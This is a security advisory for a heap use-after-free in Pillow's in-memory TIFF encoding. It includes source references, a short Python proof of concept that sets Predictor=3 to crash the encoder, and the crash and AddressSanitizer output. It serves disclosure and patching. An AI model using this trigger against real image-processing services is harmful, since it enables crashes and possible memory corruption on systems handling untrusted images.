GHSA-4rr5-89j8-mwwm
Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.
### Details
The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):
- `src/libImaging/TiffDecode.c:1041-1046`
Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:
- `src/encode.c:99-101`
- `src/libImaging/TiffDecode.c:955`
`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:
- `src/libImaging/TiffDecode.c:103-115`
The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.
### PoC
```python
import io
from PIL import Image
# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
```
Run it:
```
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
```
Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.
Under AddressSanitizer (build with `-fsanitize=address`), relevant frames:
```
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#3 TIFFFlush libtiff.so.6
#5 TIFFClose libtiff.so.6
#6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
#7 _dealloc src/encode.c:100
freed by thread T0 here:
#1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
#2 _encode src/encode.c:139
previously allocated by thread T0 here:
#1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
#2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
```
The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.
### Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm
- https://nvd.nist.gov/vuln/detail/CVE-2026-112396
- https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0